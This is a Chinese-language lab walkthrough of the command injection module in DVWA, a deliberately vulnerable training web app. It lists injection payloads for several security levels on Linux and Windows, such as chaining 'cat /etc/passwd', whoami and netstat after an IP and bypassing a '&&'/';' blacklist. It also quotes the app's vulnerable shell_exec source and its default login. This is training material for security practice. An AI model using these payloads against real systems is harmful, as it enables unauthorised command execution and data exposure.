DVWA
命令注入:利用各种调用系统命令的web应用,通过命令拼接、绕过黑名单等方式实现在服务端实现想要实现的系统命令。
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块,分别是:
Brute Force(暴力(破解))
Command Injection(命令行注入)
CSRF(跨站请求伪造)
File Inclusion(文件包含)
File Upload(文件上传)
Insecure CAPTCHA (不安全的验证码)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站脚本)
XSS(Stored)(存储型跨站脚本)
需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。我们可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。
如何配置登陆DVWA看我的burpsuite爆破文章中就有
这次我分为linux和windows两个版本登录时分别把登陆网址的IP改为目标系统的IP即可
DVWA默认账户 admin 密码 password
Linux版本
初级
源代码
127.0.0.1&&cat /etc/passwd
查看/etc/passwd,该文件下为用户信息文件,分别为:用户名、密码、UID、GID、注释性描述、宿主目录、命令解释器
127.0.0.1&&id
Linux id命令用于显示用户的ID,以及所属群组的ID。
127.0.0.1&&groups
用户所在组
127.0.0.1&&cat /etc/group
该文件下为用户组文件
127.0.0.1&&pwd
查看”当前工作目录“的完整路径
127.0.0.1&&whoami
查看系统当前有效用户名
127.0.0.1&&uname -a
可显示电脑以及操作系统的全部相关信息
127.0.0.1&&netstat -pantu
127.0.0.1&&netstat -nr
显示路由信息,路由表
中级
中间可以用 &;& &&& &
源码
<?php
if( isset( $_POST[ 'submit'] ) ) {
$target = $_REQUEST[ 'ip' ];
// Remove any of the charactars in the array (blacklist).
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
127.0.0.1&;&cat /etc/passwd
127.0.0.1&;&id
127.0.0.1&;&group
127.0.0.1&;&netstat -pantu
127.0.0.1&;&netstat -nr
Windows
初级
127.0.0.1&&dir
查看当前目录
127.0.0.1&&arp -a
显示arp高速缓存列表(与本机有过通信的计算机地址会被放在这里,下载访问的时候不用广播查询)
127.0.0.1&®edit
打开windows注册表,这里输入完命令后要去windows系统中把打开的注册表关闭DVWA中才会显示输出
127.0.0.1&&netstat -ano
可以查看本机开放的 全部端口
中级
127.0.0.1&;&dir
127.0.0.1&;&arp -a
127.0.0.1&;®edit
127.0.0.1&;&netstat -ano
127.0.0.1&&&arp -a
高级
源码
127.0.0.1|dir
当然还有其他各种命令可以实现